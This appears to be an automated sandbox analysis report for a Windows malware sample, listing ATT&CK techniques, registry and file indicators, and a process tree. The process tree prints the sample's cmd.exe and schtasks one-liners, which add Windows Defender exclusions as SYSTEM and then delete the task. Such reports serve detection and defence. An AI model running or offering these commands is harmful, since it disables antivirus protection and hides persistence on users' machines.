5775a02a5bf2e150f808a0179045136a3e03085289f05da3ba8ebc77f3fd1080

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	MCLvDq.exe

Windows security bypass 2 TTPs 14 IoCs

defense_evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86)\MCLvDq = "0"	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Public\beV1AC = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\Documents = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Program Files (x86) = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\ProgramData = "0"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths	reg.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
524	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\system32\drivers\etc\hosts	MCLvDq.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1021.001

Possible privilege escalation attempt 23 IoCs

exploit

pid	Process
2716	icacls.exe
2748	icacls.exe
4392	takeown.exe
4420	icacls.exe
452	icacls.exe
4796	icacls.exe
4776	icacls.exe
4248	icacls.exe
1164	icacls.exe
5036	icacls.exe
4648	icacls.exe
3364	icacls.exe
816	icacls.exe
736	icacls.exe
4800	takeown.exe
1920	icacls.exe
4748	icacls.exe
2088	icacls.exe
1972	icacls.exe
3500	icacls.exe
2060	icacls.exe
928	icacls.exe
4188	icacls.exe

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	MCLvDq.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\Control Panel\International\Geo\Nation	hchJ55.exe
Key value queried	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\Control Panel\International\Geo\Nation	MCLvDq.exe

Disables service(s) 3 TTPs
defense_evasion execution

Windows Service
T1543.003

Service Stop
T1489

Service Execution
T1569.002

Executes dropped EXE 5 IoCs

pid	Process
892	hchJ55.exe
3840	hchJ55.exe
948	MCLvDq.exe
2660	MCLvDq.exe
5108	rowBn1C.exe

Loads dropped DLL 5 IoCs

pid	Process
892	hchJ55.exe
3840	hchJ55.exe
948	MCLvDq.exe
2660	MCLvDq.exe
5108	rowBn1C.exe

Modifies file permissions 1 TTPs 23 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
2060	icacls.exe
736	icacls.exe
3364	icacls.exe
4776	icacls.exe
4796	icacls.exe
4748	icacls.exe
4420	icacls.exe
4648	icacls.exe
2716	icacls.exe
1972	icacls.exe
4392	takeown.exe
928	icacls.exe
1920	icacls.exe
1164	icacls.exe
452	icacls.exe
2088	icacls.exe
5036	icacls.exe
3500	icacls.exe
4248	icacls.exe
4188	icacls.exe
4800	takeown.exe
816	icacls.exe
2748	icacls.exe

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

discovery defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\beV1AC\\hchJ55.exe\""	hchJ55.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Alibaba SecurityHealtha = "\"C:\\Program Files (x86)\\MCLvDq\\MCLvDq.exe\""	MCLvDq.exe

Indicator Removal: Clear Persistence 1 TTPs 10 IoCs

Clear artifacts associated with previously established persistence like scheduletasks on a host.

defense_evasion

Clear Persistence

T1070.009

pid	Process
3360	cmd.exe
4820	cmd.exe
1632	cmd.exe
868	cmd.exe
3260	cmd.exe
4664	cmd.exe
3048	cmd.exe
996	cmd.exe
1052	cmd.exe
4292	cmd.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\System32\CodeIntegrity\SiPolicy.p7b	hchJ55.exe

Drops file in Program Files directory 18 IoCs

description	ioc	Process
File created	C:\Program Files (x86)\MCLvDq\MCLvDq.exe	hchJ55.exe
File created	C:\Program Files (x86)\MCLvDq\image.png	hchJ55.exe
File created	C:\Program Files (x86)\AYVX0nh\thumbs.db	MCLvDq.exe
File created	C:\Program Files (x86)\MCLvDq\XPSPLOG.dll	hchJ55.exe
File opened for modification	C:\Program Files (x86)\MCLvDq\MCLvDq.exe	hchJ55.exe
File opened for modification	C:\Program Files (x86)\AYVX0nh\image.png	MCLvDq.exe
File created	C:\Program Files (x86)\AYVX0nh\rowBn1C.exe	MCLvDq.exe
File opened for modification	C:\Program Files (x86)\MCLvDq	hchJ55.exe
File opened for modification	C:\Program Files (x86)\MCLvDq\thumbs.db	hchJ55.exe
File created	C:\Program Files (x86)\AYVX0nh\image.png	MCLvDq.exe
File opened for modification	C:\Program Files (x86)\AYVX0nh\rowBn1C.exe	MCLvDq.exe
File opened for modification	C:\Program Files (x86)\AYVX0nh\thumbs.db	MCLvDq.exe
File created	C:\Program Files (x86)\MCLvDq\thumbs.db	hchJ55.exe
File opened for modification	C:\Program Files (x86)\MCLvDq\XPSPLOG.dll	hchJ55.exe
File opened for modification	C:\Program Files (x86)\MCLvDq\image.png	hchJ55.exe
File opened for modification	C:\Program Files (x86)\AYVX0nh	MCLvDq.exe
File created	C:\Program Files (x86)\AYVX0nh\XPSPLOG.dll	MCLvDq.exe
File opened for modification	C:\Program Files (x86)\AYVX0nh\XPSPLOG.dll	MCLvDq.exe

Enumerates video capture drivers 2 TTPs 1 IoCs

Queries the legacy Video for Windows capture drivers. This is commonly abused by RATs to check for available webcams on the system before reporting to their C2.

Peripheral Device Discovery

T1120

Video Capture

T1125

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Drivers32\msvideo9	MCLvDq.exe

Launches sc.exe 8 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2876	sc.exe
1060	sc.exe
1644	sc.exe
3300	sc.exe
816	sc.exe
4364	sc.exe
2920	sc.exe
1808	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Screensaver 1 TTPs 3 IoCs

Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.

persistence privilege_escalation

Screensaver

T1546.002

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\Control Panel\Desktop\ScreenSaveActive = "0"	MCLvDq.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	MCLvDq.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\Control Panel\Desktop\SCRNSAVE.EXE	MCLvDq.exe

Executes a command shell one-liner 1 TTPs 26 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4200	cmd.exe
5000	cmd.exe
4816	cmd.exe
548	cmd.exe
2176	cmd.exe
5088	cmd.exe
4080	cmd.exe
2284	cmd.exe
2908	cmd.exe
976	cmd.exe
4212	cmd.exe
2160	cmd.exe
2128	cmd.exe
644	cmd.exe
5052	cmd.exe
1828	cmd.exe
4240	cmd.exe
4184	cmd.exe
2428	cmd.exe
3408	cmd.exe
4128	cmd.exe
3412	cmd.exe
464	cmd.exe
1560	cmd.exe
4660	cmd.exe
1360	cmd.exe

Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	MCLvDq.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	MCLvDq.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	install.2.0.04.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	install.2.0.04.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	hchJ55.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	hchJ55.exe

System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	takeown.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	reg.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MCLvDq.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	schtasks.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	net1.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	icacls.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	MCLvDq.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	MCLvDq.exe

Modifies Control Panel 4 IoCs

defense_evasion

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\Control Panel\Desktop\SCRNSAVE.EXE	MCLvDq.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\Control Panel\Desktop\ScreenSaveActive = "0"	MCLvDq.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\Control Panel\Desktop\ScreenSaverIsSecure = "0"	MCLvDq.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-747854149-4118156852-591593384-1000\Control Panel\Desktop\ScreenSaveTimeOut = "0"	MCLvDq.exe

Runs net.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

pid	Process
4796	schtasks.exe
4896	schtasks.exe
4808	schtasks.exe
4980	schtasks.exe
2164	schtasks.exe
4732	schtasks.exe
3088	schtasks.exe
3912	schtasks.exe
4364	schtasks.exe
4288	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

pid	Process
1640	install.2.0.04.exe
1640	install.2.0.04.exe
1640	install.2.0.04.exe
1640	install.2.0.04.exe
1640	install.2.0.04.exe
1640	install.2.0.04.exe
1640	install.2.0.04.exe
1640	install.2.0.04.exe
1640	install.2.0.04.exe
1640	install.2.0.04.exe
1640	install.2.0.04.exe
1640	install.2.0.04.exe
1640	install.2.0.04.exe
1640	install.2.0.04.exe
1640	install.2.0.04.exe
1640	install.2.0.04.exe
1640	install.2.0.04.exe
1640	install.2.0.04.exe
1640	install.2.0.04.exe
1640	install.2.0.04.exe
1640	install.2.0.04.exe
1640	install.2.0.04.exe
1640	install.2.0.04.exe
1640	install.2.0.04.exe
1640	install.2.0.04.exe
1640	install.2.0.04.exe
1640	install.2.0.04.exe
1640	install.2.0.04.exe
1640	install.2.0.04.exe
1640	install.2.0.04.exe
1640	install.2.0.04.exe
1640	install.2.0.04.exe
892	hchJ55.exe
892	hchJ55.exe
892	hchJ55.exe
892	hchJ55.exe
892	hchJ55.exe
892	hchJ55.exe
892	hchJ55.exe
892	hchJ55.exe
892	hchJ55.exe
892	hchJ55.exe
892	hchJ55.exe
892	hchJ55.exe
892	hchJ55.exe
892	hchJ55.exe
892	hchJ55.exe
892	hchJ55.exe
892	hchJ55.exe
892	hchJ55.exe
892	hchJ55.exe
892	hchJ55.exe
892	hchJ55.exe
892	hchJ55.exe
892	hchJ55.exe
892	hchJ55.exe
892	hchJ55.exe
892	hchJ55.exe
892	hchJ55.exe
892	hchJ55.exe
892	hchJ55.exe
892	hchJ55.exe
892	hchJ55.exe
892	hchJ55.exe

Suspicious behavior: LoadsDriver 4 IoCs

pid	Process
660	Process not Found
660	Process not Found
660	Process not Found
660	Process not Found

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeTakeOwnershipPrivilege	4392	takeown.exe
Token: SeRestorePrivilege	2060	icacls.exe
Token: SeTakeOwnershipPrivilege	4800	takeown.exe
Token: SeRestorePrivilege	1164	icacls.exe
Token: SeDebugPrivilege	524	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 892 wrote to memory of 3360	892	hchJ55.exe	94
PID 3360 wrote to memory of 4796	3360	cmd.exe	96
PID 3360 wrote to memory of 1728	3360	cmd.exe	97
PID 3360 wrote to memory of 2564	3360	cmd.exe	101
PID 4660 wrote to memory of 2428	4660	cmd.exe	104
PID 892 wrote to memory of 4820	892	hchJ55.exe	105
PID 4820 wrote to memory of 4732	4820	cmd.exe	107
PID 4820 wrote to memory of 2424	4820	cmd.exe	109
PID 892 wrote to memory of 4664	892	hchJ55.exe	110
PID 4820 wrote to memory of 1560	4820	cmd.exe	114
PID 4664 wrote to memory of 3088	4664	cmd.exe	115
PID 4664 wrote to memory of 4028	4664	cmd.exe	116
PID 892 wrote to memory of 3048	892	hchJ55.exe	118
PID 3048 wrote to memory of 4896	3048	cmd.exe	120
PID 4664 wrote to memory of 3192	4664	cmd.exe	121
PID 3048 wrote to memory of 3796	3048	cmd.exe	122
PID 3048 wrote to memory of 1384	3048	cmd.exe	123
PID 2128 wrote to memory of 2536	2128	cmd.exe	125
PID 892 wrote to memory of 1632	892	hchJ55.exe	126
PID 1632 wrote to memory of 4808	1632	cmd.exe	128
PID 1632 wrote to memory of 1032	1632	cmd.exe	129
PID 1632 wrote to memory of 4392	1632	cmd.exe	131
PID 2176 wrote to memory of 4316	2176	cmd.exe	133
PID 4184 wrote to memory of 3516	4184	cmd.exe	134
PID 892 wrote to memory of 948	892	hchJ55.exe	135
PID 948 wrote to memory of 5088	948	MCLvDq.exe	140
PID 948 wrote to memory of 2428	948	MCLvDq.exe	142
PID 948 wrote to memory of 1360	948	MCLvDq.exe	144
PID 948 wrote to memory of 4080	948	MCLvDq.exe	146
PID 948 wrote to memory of 996	948	MCLvDq.exe	148
PID 948 wrote to memory of 3408	948	MCLvDq.exe	150
PID 2428 wrote to memory of 2088	2428	cmd.exe	152
PID 996 wrote to memory of 3912	996	cmd.exe	153
PID 3408 wrote to memory of 4360	3408	cmd.exe	154
PID 4360 wrote to memory of 4268	4360	net.exe	155
PID 948 wrote to memory of 868	948	MCLvDq.exe	156
PID 948 wrote to memory of 2284	948	MCLvDq.exe	158
PID 996 wrote to memory of 1316	996	cmd.exe	160
PID 948 wrote to memory of 1052	948	MCLvDq.exe	161
PID 868 wrote to memory of 4364	868	cmd.exe	163
PID 2284 wrote to memory of 816	2284	cmd.exe	165
PID 1052 wrote to memory of 4288	1052	cmd.exe	166
PID 996 wrote to memory of 2360	996	cmd.exe	167
PID 868 wrote to memory of 2496	868	cmd.exe	168
PID 1052 wrote to memory of 2124	1052	cmd.exe	169
PID 948 wrote to memory of 644	948	MCLvDq.exe	170
PID 868 wrote to memory of 2536	868	cmd.exe	172
PID 1052 wrote to memory of 4468	1052	cmd.exe	173
PID 644 wrote to memory of 5036	644	cmd.exe	174
PID 948 wrote to memory of 4200	948	MCLvDq.exe	175
PID 4200 wrote to memory of 736	4200	cmd.exe	177
PID 948 wrote to memory of 4240	948	MCLvDq.exe	179
PID 948 wrote to memory of 4292	948	MCLvDq.exe	181
PID 4240 wrote to memory of 3500	4240	cmd.exe	183
PID 948 wrote to memory of 976	948	MCLvDq.exe	184
PID 4292 wrote to memory of 4980	4292	cmd.exe	186
PID 976 wrote to memory of 3364	976	cmd.exe	187
PID 4292 wrote to memory of 2092	4292	cmd.exe	188
PID 3408 wrote to memory of 2876	3408	cmd.exe	190
PID 948 wrote to memory of 5052	948	MCLvDq.exe	191
PID 4292 wrote to memory of 4992	4292	cmd.exe	193
PID 3408 wrote to memory of 1060	3408	cmd.exe	194
PID 3408 wrote to memory of 556	3408	cmd.exe	195
PID 5052 wrote to memory of 4648	5052	cmd.exe	196

System policy modification 1 TTPs 1 IoCs

defense_evasion

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\ConsentPromptBehaviorAdmin = "0"	MCLvDq.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\install.2.0.04.exe
"C:\Users\Admin\AppData\Local\Temp\install.2.0.04.exe"
1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:1640

C:\Users\Public\beV1AC\hchJ55.exe
C:\Users\Public\beV1AC\hchJ55.exe
1⤵
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Drops file in Program Files directory
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:892
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\beV1AC\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3360
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\beV1AC\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4796
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:1728
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:2564
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4820
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4732
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:2424
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:1560
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:4664
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:3088
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:4028
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
    PID:3192
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
  2⤵
  - Indicator Removal: Clear Persistence
  - Suspicious use of WriteProcessMemory
  PID:3048
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:4896
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Run /TN "Task1"
    3⤵
    PID:3796
- - C:\Windows\system32\schtasks.exe
    SCHTASKS /Delete /TN "Task1" /F
    3⤵
